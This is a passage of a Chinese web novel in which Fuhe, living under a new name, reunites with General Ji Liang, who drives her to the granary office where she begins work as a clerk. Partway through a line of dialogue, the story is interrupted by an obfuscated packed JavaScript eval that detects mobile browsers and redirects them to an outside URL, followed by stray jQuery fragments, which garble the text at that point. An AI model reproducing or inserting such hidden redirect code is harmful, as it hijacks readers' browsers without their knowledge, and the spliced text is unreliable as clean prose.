但他没有想到会在一个去接运粮车队的冬夜里再次看见那张脸。
她瘦了很多,也成熟了很多,季梁不敢相信自己的眼睛,他既觉得幸运,又害怕那只是一个朦胧的鬼影而已,冲动之下竟然直接开口问了她的师承。
如果这只是一个梦的话,早点醒来也好。
但是她没有正面回答。那个人,或者是鬼,只是低头笑了笑,然后假做咳疾发作,避开了他的问题。
是她。
季梁浑身发冷,双手微微发颤,一颗心仿佛要跳出胸廓。她就是伏合。即便她改了名字,失去了记忆,他也不会忘记她在身边的感觉。
正如此刻伏合和他并行走在路上,季梁仍有一种还在梦里似的幻觉。他在心中暗自期待这一刻能再延长一点,但是很快三人就看到了医署的屋脊,伏合让小楼在廊下停下来,对季梁客气地笑道:“将军的军务紧要,我就不打扰了,今天多谢将军护送。”
忽然一阵朔风穿过回廊,季梁沉默地垂下眼睛,在廊柱的阴影下,像是一棵披着霜雪的松树。
伏合不解地抬头,季梁却朝她略一垂首,低声道:“没事……女公子不必客气,叫我的名字就可以。”
他一礼,转身走向医署大门,伏合放弃了叫住他的想法,对小楼道:“我们回去吧。”
*
三日之后。曲阿项府。
伏合刚从丹徒营回来,就被项冲和少翎团团围住,两人一脸紧张,上下左右把她看了一遍,确认她确实气色红润,已经大好,项冲才拍了拍胸脯,道:“小伏老师,当时你一句话都不说就往地上栽,真是吓死我了,还好你没事,不然我也不知道怎么交代。”
伏合叫阿敷给两人倒口茶喝,自己挪到了凭几上坐,好笑道:“你用得着和谁交代?”
项冲:“跟我自己交代啊!要不是我急着带你去丹徒营,你也不会累晕过去了。”
说起这个,伏合想到当时项协他们故意支开了兄妹二人,大概是想要瞒着两人的。也是,多几个人知道没什么好处,要藏消息就要瞒得彻底一点,现在除了项家那几个人,也就一个长史谭吉知道她身世。
少翎捧着脸羡慕道:“大哥说你明天就能去邸阁了。真好,我也想去邸阁。”
项冲哼声,嘲笑少翎三心二意:“去去去,你又不做你那个曲阿护卫队队长了?人家小伏老师是有真才学的,怎么可能和你个小丫头一起。”
少翎把糕点往嘴里一塞,伸手就要抠她二哥的眼珠子。伏合喝着茶,笑吟吟地看兄妹俩扯头花,谁也不肯让谁,心想项家这日子过得可真有意思,每天都跟动物园似的热闹。
送走项氏兄妹,伏合泡过药浴,早早回了卧室就寝。
第二天一早,天色未亮,晨光熹微,伏合喝了药,吃完早膳,沿着亮起灯笼的长廊拐到前院。夜里刚下过雨,此时还有一些雨丝,水雾漂浮,阿敷提着灯走在前面,油灯周围泛着珠光,伏合跟着幽微的光中走到石门前停下,接过阿敷手里的灯,一个人等项府的奴仆从后门把轿子抬过来。
她刚走出项府,就看见门口停了一辆马车。车上的人见有人出来,起身从阴影里走到门口高悬的风灯底下,对伏合躬身一礼:“女公子。”
伏合一惊:“……季将军?你怎么在这里?”
季梁顿了顿,道:“……我就住在项府旁边。每天去丹徒都会经过邸阁,我想到女公子腿伤不便,所以擅自在这里等了一会儿。”
项府西面是有扇小门,伏合看了眼那个灰扑扑的小院,倒是没想到季梁原来就住在这儿。她在医署养伤的时候,见到季梁似乎在丹徒也有自己的营帐啊。
伏合心里算了算距离,从项府到邸阁,用人的脚力大约要小半个时辰,而季梁要从曲阿骑马到丹徒营,怎么想还是他更惨。
马车省时方便,有这样的好事,伏合当然立刻欣然接受。她谢过季梁之后,朝刚赶过来的项氏奴仆说了一声,伸手在季梁小臂上一撑,坐进了马车里。
季梁也坐了上来,这时她才发现,他没有带车夫。伏合有些惊讶:“你亲自驾车?”
季梁一笑:“嗯,无妨,我平时也是一个人驾车,如果带上士卒,会劳烦他们奔波,得不到休息,所以我习惯自己驾马车。”
伏合想了想这个距离,她前世也讨厌漫长的通勤,十分理解季梁说的麻烦。
伏合:“也是,那季将军为什么还要天天回来,丹徒也有将军自己的营帐吧?”
季梁沉默了一下:“身上有旧伤,晚上屋里要用五个火盆,军中炭火有定例,我不能带头破坏规矩,所以只能每天赶回家休息。”
“原来是这样。”
伏合嫌门帘太闷,干脆握着门框,迎着朝阳在门口坐下。季梁小心地偷偷观察她,害怕她察觉出他的刻意,然而伏合根本没在意,她在琢磨,她和季梁也算半个发小,靠这点情分套套近乎,以后能不能再搭个顺风车?
伏合觉得人的本质就是好逸恶劳,以前她流亡的时候只能睡树上睡山洞她也不眨一下眼睛,但现在生活一下子安逸了,她能躺着就不想坐着,有马车就不想坐轿。
轿子慢不说,遇到下雨天还极为不便,和马车比还是差太多了。
她想好了,于是对季梁一笑:“季将军用过早膳了吗?”
季梁为了等她,起得很早,来不及用热食。他本来也不怎么住在曲阿,刚回来的时候只有一个守家的仆役,便如实道:“昨天从丹徒带回来了一个胡饼,早上就把剩下的吃掉了。”
伏合也猜这种武人估计都不大在意生活质量,项氏的厨房也是如此,奉行量大管饱,但剩下的色香味就要看天意了。项府西院的客舍有个厨房,那里第一次端来的东西让她沉默了许久,然后亲自紧急培训,总算是吃上了达到了她觉得“能吃”的菜。
她笑眯眯道:“冷食吃多了会胃疼的。将军要不要试试我院子里的手艺,若是你喜欢,以后我搭车的时候也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202191|197238||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给将军带一份?”
季梁心中一暖,微微一笑:“……好。”
伏合有些惊喜,没想到季梁这么好哄,这就愉快地接受了给她当免费车夫的工作。原本她以为他现在身份与当年不同,没想到他还挺够意思,比她想的更重小时候的发小情分。
马车过了北城的内城墙,天色更亮,南城也逐渐热闹起来,季梁担心来不及,沿着墙根行驶,很快就到了东城。
东城的城墙和南北两城各共用一半,像从另外两城腰间引出来的一样,所以又被叫做中城。项氏重建曲阿时,先修了位置重要的中城,所有和丹徒直接相关的官署,都设在中城之内。
邸阁便在中城内,邸阁其实就是官府所设储存粮食等物资的仓库,比如有平抑粮价的常平仓,专储武器的武库,还有钱库等大小仓库。
曲阿的邸阁本身建筑不算气派,外观上看就是一个稍大点的黑瓦白墙的院子,但它的地基比中城的其他官署都高出一截,像个小二层楼。
因为大量档案文书搬运困难,就和雒阳的灵台一样,邸阁的底层被辟为存放卷轴竹简的仓库,运输档案的车可以直接推入底层仓库,而载人的马车和轿子,就只能在大门前的五阶石阶前停下。
伏合走下马车,仰头看了一眼邸阁的大门,和季梁作别。她转身正要走,忽然像是想起了什么,道:“对了,在外人眼里,我早就夭折了,现在我用的是伏广穹这个名字。”
季梁在心里念了一遍,觉得这两个字的确衬她。她不喜欢安分守己,也用不着配个寻常的字。
他笑了一下,道:“好。”
他目送伏合走上台阶,自己在马上挥鞭轻轻一喝,驱车回营。
*
伏合的文书从丹徒营一应发到邸阁,赴任当日她便见过了邸阁督杜审。曲阿邸阁的长官有三,杜审乃一阁之长,下面还有两位令史,各自负责邸阁事务。
这天,邸阁的正堂堆着账册,堂下算吏在摞成半人高的书简之间三两坐着,他们拨弄着眼前的算筹,一一核验今年税目。
伏合从回廊一路走到明间,两根手指不得闲地绕着腰间的香囊,在东梢间的窗外微微一探,没瞧见平常坐在窗下喝茶的邸阁督杜审。她进了门,绕过一扇红漆屏风,见曲阿邸阁的另一位令史卢照云正跪坐着沏茶,问道:“卢女使安。怎么不见阁督?”
卢令史见伏合来,招了招手给她也沏了一杯:“伏令史安,阁督在后厅议事,一时半会儿还不能脱身呢。”
伏合接过茶,道谢后问:“什么鬼怪抓走了杜阁督?”
卢照云:“丹徒派了个大字不识的粗人来核今年的帐,岁末各处都在催,不知他听谁说的来晚了逮不到阁督,天没亮就蹲在大门口堵人了。”
伏合从她的表情里读出了一丝看热闹的意思,顿时产生了好奇心。
她往窗后看,果然看见了蒋攸像座小山似的身体一手挡住试图走出门的杜审,非要他把话说明白。